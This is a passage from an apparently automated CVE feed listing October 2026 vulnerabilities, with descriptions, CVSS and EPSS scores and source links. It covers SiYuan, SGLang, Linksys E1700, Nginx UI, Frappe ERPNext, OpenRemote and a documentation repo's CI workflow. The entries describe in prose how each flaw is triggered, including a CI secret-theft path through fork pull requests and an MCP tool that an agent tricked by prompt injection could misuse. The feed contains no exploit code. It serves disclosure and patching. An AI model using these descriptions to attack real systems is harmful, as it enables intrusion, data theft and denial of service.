SiYuan v3.1.12 before v3.8.6 fails to restrict the Sprig template function map in the /api/icon/getDynamicIcon content parameter, allowing resource exhaustion. A publish reader, or anyone when publish auth is disabled, can use uncapped functions like until to OOM-kill the kernel with one request.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SGLang through 0.5.21 contains a decompression amplification vulnerability in load_audio that allows remote attackers to exhaust memory by submitting highly compressed audio...
https://kevwire.com/record/CVE-2026-109226
SGLang through 0.5.21 contains a decompression amplification vulnerability in load_audio that allows remote attackers to exhaust memory by submitting highly compressed audio... (Oct 12, 2026).
SGLang through 0.5.21 contains a decompression amplification vulnerability in load_audio that allows remote attackers to exhaust memory by submitting highly compressed audio decoded without duration or sample limits. Attackers can supply small FLAC-encoded silence files through audio_url or audio_data inputs that expand into massive PCM buffers, exhausting worker memory and CPU for denial of service.
CVSS 8.7 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109226).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109226&date=2026-10-25).
Sources:
NVD CVE-2026-109226: https://nvd.nist.gov/vuln/detail/CVE-2026-109226
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109226&date=2026-10-25
SGLang through 0.5.21 contains a decompression amplification vulnerability in load_audio that allows remote attackers to exhaust memory by submitting highly compressed audio decoded without duration or sample limits. Attackers can supply small FLAC-encoded silence files through audio_url or audio_data inputs that expand into massive PCM buffers, exhausting worker memory and CPU for denial of service.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in Linksys E1700 up to 1.0.0.4.003. This issue affects the function setVlan of the file /goform/setVlan.
https://kevwire.com/record/CVE-2026-108893
A vulnerability was identified in Linksys E1700 up to 1.0.0.4.003. This issue affects the function setVlan of the file /goform/setVlan. (Oct 12, 2026).
A vulnerability was identified in Linksys E1700 up to 1.0.0.4.003. This issue affects the function setVlan of the file /goform/setVlan. Such manipulation of the argument vlan_set leads to stack-based buffer overflow. The attack may be launched remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.
CVSS 8.6 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-108893).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-108893&date=2026-10-25).
Sources:
NVD CVE-2026-108893: https://nvd.nist.gov/vuln/detail/CVE-2026-108893
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-108893&date=2026-10-25
A vulnerability was identified in Linksys E1700 up to 1.0.0.4.003. This issue affects the function setVlan of the file /goform/setVlan. Such manipulation of the argument vlan_set leads to stack-based buffer overflow. The attack may be launched remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nginx UI is a web user interface for the Nginx web server.
https://kevwire.com/record/CVE-2026-84317
Nginx UI is a web user interface for the Nginx web server. (Oct 12, 2026).
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84317).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84317&date=2026-10-25).
Sources:
NVD CVE-2026-84317: https://nvd.nist.gov/vuln/detail/CVE-2026-84317
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84317&date=2026-10-25
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, internal/config/validation.go (ValidateConfigFile) is a security control that blocks dangerous nginx directives — js_*, perl_*, load_module of the njs/perl modules, and user root. It is enforced on three of the four config-write paths: api/config/add.go, api/config/modify.go, and mcp/config/config_modify.go. The fourth path — the MCP tool nginx_config_add (mcp/config/config_add.go) — does NOT call it: it writes the caller-supplied content straight to disk and reloads nginx. An authenticated MCP caller (or an MCP agent induced via prompt injection) can therefore inject exactly the directives the control is meant to block, leading to nginx code execution on deployments where the njs/perl module is available (e.g. the official Docker image). This issue is fixed in version 2.4.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nginx UI is a web user interface for the Nginx web server.
https://kevwire.com/record/CVE-2026-84314
Nginx UI is a web user interface for the Nginx web server. (Oct 12, 2026).
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the POST /api/users/:id user-management endpoint permits an authenticated user to change another user's password without passing RequireSecureSession, even though the self-service password-change path requires that step-up. An attacker with an authenticated account can change the initial administrator's password, invalidate existing administrator tokens, and then authenticate as the administrator. This issue is fixed in version 2.4.1.
CVSS 8.7 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-84314).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-84314&date=2026-10-25).
Sources:
NVD CVE-2026-84314: https://nvd.nist.gov/vuln/detail/CVE-2026-84314
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-84314&date=2026-10-25
Nginx UI is a web user interface for the Nginx web server. Prior to 2.4.1, the POST /api/users/:id user-management endpoint permits an authenticated user to change another user's password without passing RequireSecureSession, even though the self-service password-change path requires that step-up. An attacker with an authenticated account can change the initial administrator's password, invalidate existing administrator tokens, and then authenticate as the administrator. This issue is fixed in version 2.4.1.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe is a full-stack web application framework.
https://kevwire.com/record/CVE-2026-55823
Frappe is a full-stack web application framework. (Oct 13, 2026).
Frappe is a full-stack web application framework. Prior to 16.23.0, the get_count() method in reportview composes a count operation around generated SQL through a raw database execution path, allowing crafted report input to alter SQL executed by the application. This issue is fixed in version 16.23.0.
CVSS 8.7 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55823).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55823&date=2026-10-25).
Sources:
NVD CVE-2026-55823: https://nvd.nist.gov/vuln/detail/CVE-2026-55823
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55823&date=2026-10-25
Frappe is a full-stack web application framework. Prior to 16.23.0, the get_count() method in reportview composes a count operation around generated SQL through a raw database execution path, allowing crafted report input to alter SQL executed by the application. This issue is fixed in version 16.23.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenRemote is an open-source internet-of-things platform.
https://kevwire.com/record/CVE-2026-54641
OpenRemote is an open-source internet-of-things platform. (Oct 13, 2026).
OpenRemote is an open-source internet-of-things platform. Prior to 1.24.2, the get, getUserClientRoles, and getUserRealmRoles methods in manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java authorize callers with the read:admin role without confirming that the target UUID belongs to the requested and authenticated realm. A realm administrator can supply a user identifier from another tenant or the master realm and retrieve that user's profile, client roles, and realm roles, breaking tenant isolation and exposing privileged account information. This issue is fixed in version 1.24.2.
CVSS 7.7 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-54641).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-54641&date=2026-10-25).
Sources:
NVD CVE-2026-54641: https://nvd.nist.gov/vuln/detail/CVE-2026-54641
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-54641&date=2026-10-25
OpenRemote is an open-source internet-of-things platform. Prior to 1.24.2, the get, getUserClientRoles, and getUserRealmRoles methods in manager/src/main/java/org/openremote/manager/security/UserResourceImpl.java authorize callers with the read:admin role without confirming that the target UUID belongs to the requested and authenticated realm. A realm administrator can supply a user identifier from another tenant or the master realm and retrieve that user's profile, client roles, and realm roles, breaking tenant isolation and exposing privileged account information. This issue is fixed in version 1.24.2.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Salty documentation repository builds and deploys the docs.saltbox.dev website.
https://kevwire.com/record/CVE-2026-55675
The Salty documentation repository builds and deploys the docs.saltbox.dev website. (Oct 13, 2026).
The Salty documentation repository builds and deploys the docs.saltbox.dev website. Prior to commit 649c9aea2daef1168eeb0415b44e65dbbde9f220, .github/workflows/trigger-pr-build.yml records an untrusted fork commit in the pr_info artifact, and the secret-bearing workflow_run job in .github/workflows/build-pr.yml checks out that commit before running pip install -r requirements.txt. A fork pull request can therefore supply attacker-authored setup.py or PEP 517 build hooks whose installation code executes in the privileged base-repository workflow with CF_API_TOKEN, GH_TOKEN, MKDOCS_GIT_COMMITTERS_APIKEY, and a write-capable GITHUB_TOKEN, allowing secret disclosure and follow-on compromise. The vulnerability is not caused by the repository-fork guard, and the demonstrated path requires attacker control of fork content rather than merely the artifact metadata. This vulnerability is fixed with commit 649c9aea2daef1168eeb0415b44e65dbbde9f220.
CVSS 10.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-55675).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-55675&date=2026-10-25).
Sources:
NVD CVE-2026-55675: https://nvd.nist.gov/vuln/detail/CVE-2026-55675
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-55675&date=2026-10-25
The Salty documentation repository builds and deploys the docs.saltbox.dev website. Prior to commit 649c9aea2daef1168eeb0415b44e65dbbde9f220, .github/workflows/trigger-pr-build.yml records an untrusted fork commit in the pr_info artifact, and the secret-bearing workflow_run job in .github/workflows/build-pr.yml checks out that commit before running pip install -r requirements.txt. A fork pull request can therefore supply attacker-authored setup.py or PEP 517 build hooks whose installation code executes in the privileged base-repository workflow with CF_API_TOKEN, GH_TOKEN, MKDOCS_GIT_COMMITTERS_APIKEY, and a write-capable GITHUB_TOKEN, allowing secret disclosure and follow-on compromise. The vulnerability is not caused by the repository-fork guard, and the demonstrated path requires attacker control of fork content rather than merely the artifact metadata. This vulnerability is fixed with commit 649c9aea2daef1168eeb0415b44e65dbbde9f220.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.103.0 and 16.x before 16.12.0 contains a stored cross-site scripting vulnerability because the names of certain records are not properly neutralized when...
https://kevwire.com/record/CVE-2026-109673
Frappe ERPNext before 15.103.0 and 16.x before 16.12.0 contains a stored cross-site scripting vulnerability because the names of certain records are not properly neutralized when... (Oct 12, 2026).
Frappe ERPNext before 15.103.0 and 16.x before 16.12.0 contains a stored cross-site scripting vulnerability because the names of certain records are not properly neutralized when rendered on some dashboards, tools, and portals. Authenticated attackers can craft malicious record names that execute scripts in other users' browsers, enabling data access, modification, and token theft, especially against privileged users.
CVSS 8.5 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109673).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109673&date=2026-10-25).
Sources:
NVD CVE-2026-109673: https://nvd.nist.gov/vuln/detail/CVE-2026-109673
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109673&date=2026-10-25
Frappe ERPNext before 15.103.0 and 16.x before 16.12.0 contains a stored cross-site scripting vulnerability because the names of certain records are not properly neutralized when rendered on some dashboards, tools, and portals. Authenticated attackers can craft malicious record names that execute scripts in other users' browsers, enabling data access, modification, and token theft, especially against privileged users.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.113.0 and 16.x before 16.22.0 contains an SQL injection vulnerability caused by missing input validation in some endpoints.
https://kevwire.com/record/CVE-2026-109663
Frappe ERPNext before 15.113.0 and 16.x before 16.22.0 contains an SQL injection vulnerability caused by missing input validation in some endpoints. (Oct 12, 2026).
Frappe ERPNext before 15.113.0 and 16.x before 16.22.0 contains an SQL injection vulnerability caused by missing input validation in some endpoints. Authenticated remote attackers can send specially crafted requests to these endpoints to manipulate database queries and extract sensitive information from the database.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109663).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109663&date=2026-10-25).
Sources:
NVD CVE-2026-109663: https://nvd.nist.gov/vuln/detail/CVE-2026-109663
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109663&date=2026-10-25
Frappe ERPNext before 15.113.0 and 16.x before 16.22.0 contains an SQL injection vulnerability caused by missing input validation in some endpoints. Authenticated remote attackers can send specially crafted requests to these endpoints to manipulate database queries and extract sensitive information from the database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks.
https://kevwire.com/record/CVE-2026-109658
Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks. (Oct 12, 2026).
Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks. Authenticated users can call these endpoints to read data, including personal data, beyond what their assigned role permits.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109658).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109658&date=2026-10-25).
Sources:
NVD CVE-2026-109658: https://nvd.nist.gov/vuln/detail/CVE-2026-109658
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109658&date=2026-10-25
Frappe ERPNext before 15.115.0 and 16.x before 16.26.0 contains a missing authorization vulnerability in which certain endpoints fail to enforce proper authorization checks. Authenticated users can call these endpoints to read data, including personal data, beyond what their assigned role permits.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a stored cross-site scripting vulnerability because record fields are rendered into an HTML attribute context...
https://kevwire.com/record/CVE-2026-109653
Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a stored cross-site scripting vulnerability because record fields are rendered into an HTML attribute context... (Oct 12, 2026).
Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a stored cross-site scripting vulnerability because record fields are rendered into an HTML attribute context without escaping. A low-privilege user can store a malicious payload in a record field that executes in the browser of any privileged user who opens the affected page, enabling account takeover.
CVSS 8.5 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109653).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109653&date=2026-10-25).
Sources:
NVD CVE-2026-109653: https://nvd.nist.gov/vuln/detail/CVE-2026-109653
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109653&date=2026-10-25
Frappe ERPNext before 15.119.0 and 16.x before 16.31.0 contains a stored cross-site scripting vulnerability because record fields are rendered into an HTML attribute context without escaping. A low-privilege user can store a malicious payload in a record field that executes in the browser of any privileged user who opens the affected page, enabling account takeover.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in some endpoints due to missing input validation.
https://kevwire.com/record/CVE-2026-109648
Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in some endpoints due to missing input validation. (Oct 12, 2026).
Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in some endpoints due to missing input validation. Authenticated attackers can send specially crafted requests to inject SQL into database queries and extract sensitive information from the underlying database.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109648).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109648&date=2026-10-25).
Sources:
NVD CVE-2026-109648: https://nvd.nist.gov/vuln/detail/CVE-2026-109648
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109648&date=2026-10-25
Frappe ERPNext before 15.106.0 and 16.x before 16.16.0 contains an SQL injection vulnerability in some endpoints due to missing input validation. Authenticated attackers can send specially crafted requests to inject SQL into database queries and extract sensitive information from the underlying database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.111.0 and 16.x before 16.22.0 contains a missing authorization vulnerability in certain project-related endpoints that fail to enforce permission checks.
https://kevwire.com/record/CVE-2026-109643
Frappe ERPNext before 15.111.0 and 16.x before 16.22.0 contains a missing authorization vulnerability in certain project-related endpoints that fail to enforce permission checks. (Oct 12, 2026).
Frappe ERPNext before 15.111.0 and 16.x before 16.22.0 contains a missing authorization vulnerability in certain project-related endpoints that fail to enforce permission checks. Authenticated low-privileged users can call these endpoints directly to read project data beyond what their assigned role permits.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109643).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109643&date=2026-10-25).
Sources:
NVD CVE-2026-109643: https://nvd.nist.gov/vuln/detail/CVE-2026-109643
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109643&date=2026-10-25
Frappe ERPNext before 15.111.0 and 16.x before 16.22.0 contains a missing authorization vulnerability in certain project-related endpoints that fail to enforce permission checks. Authenticated low-privileged users can call these endpoints directly to read project data beyond what their assigned role permits.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.110.0 and 16.x before 16.21.0 contains a SQL injection vulnerability in some endpoints caused by missing input validation.
https://kevwire.com/record/CVE-2026-109638
Frappe ERPNext before 15.110.0 and 16.x before 16.21.0 contains a SQL injection vulnerability in some endpoints caused by missing input validation. (Oct 12, 2026).
Frappe ERPNext before 15.110.0 and 16.x before 16.21.0 contains a SQL injection vulnerability in some endpoints caused by missing input validation. Authenticated attackers can send specially crafted requests to these endpoints to manipulate database queries and extract sensitive information from the database.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109638).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109638&date=2026-10-25).
Sources:
NVD CVE-2026-109638: https://nvd.nist.gov/vuln/detail/CVE-2026-109638
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109638&date=2026-10-25
Frappe ERPNext before 15.110.0 and 16.x before 16.21.0 contains a SQL injection vulnerability in some endpoints caused by missing input validation. Authenticated attackers can send specially crafted requests to these endpoints to manipulate database queries and extract sensitive information from the database.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a stored cross-site scripting vulnerability because content submitted through a public-facing booking page is...
https://kevwire.com/record/CVE-2026-109633
Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a stored cross-site scripting vulnerability because content submitted through a public-facing booking page is... (Oct 12, 2026).
Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a stored cross-site scripting vulnerability because content submitted through a public-facing booking page is stored without neutralization. Unauthenticated attackers can submit crafted content that is rendered as raw HTML in a privileged user's session, executing script to act as that user and take over the account.
CVSS 8.6 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109633).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109633&date=2026-10-25).
Sources:
NVD CVE-2026-109633: https://nvd.nist.gov/vuln/detail/CVE-2026-109633
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109633&date=2026-10-25
Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a stored cross-site scripting vulnerability because content submitted through a public-facing booking page is stored without neutralization. Unauthenticated attackers can submit crafted content that is rendered as raw HTML in a privileged user's session, executing script to act as that user and take over the account.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper role checks when modifying...
https://kevwire.com/record/CVE-2026-109628
Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper role checks when modifying... (Oct 12, 2026).
Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper role checks when modifying record status. Authenticated low-privileged attackers can invoke these endpoints to alter data beyond their permitted role, compromising data integrity.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109628).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109628&date=2026-10-25).
Sources:
NVD CVE-2026-109628: https://nvd.nist.gov/vuln/detail/CVE-2026-109628
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109628&date=2026-10-25
Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper role checks when modifying record status. Authenticated low-privileged attackers can invoke these endpoints to alter data beyond their permitted role, compromising data integrity.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks during...
https://kevwire.com/record/CVE-2026-109615
Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks during... (Oct 12, 2026).
Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks during document creation. Authenticated low-privileged users can call these endpoints to create documents against records beyond their permitted role, bypassing role-based access controls.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109615).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109615&date=2026-10-25).
Sources:
NVD CVE-2026-109615: https://nvd.nist.gov/vuln/detail/CVE-2026-109615
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109615&date=2026-10-25
Frappe ERPNext before 15.121.0 and 16.x before 16.34.0 contains a missing authorization vulnerability in certain endpoints that fail to enforce proper permission checks during document creation. Authenticated low-privileged users can call these endpoints to create documents against records beyond their permitted role, bypassing role-based access controls.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a missing authorization vulnerability because certain endpoints fail to enforce proper permission checks.
https://kevwire.com/record/CVE-2026-109610
Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a missing authorization vulnerability because certain endpoints fail to enforce proper permission checks. (Oct 12, 2026).
Frappe ERPNext before 15.119.1 and 16.x before 16.32.0 contains a missing authorization vulnerability because certain endpoints fail to enforce proper permission checks. Authenticated low-privileged users can call these endpoints to modify documents and data beyond what their assigned role permits.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109610).
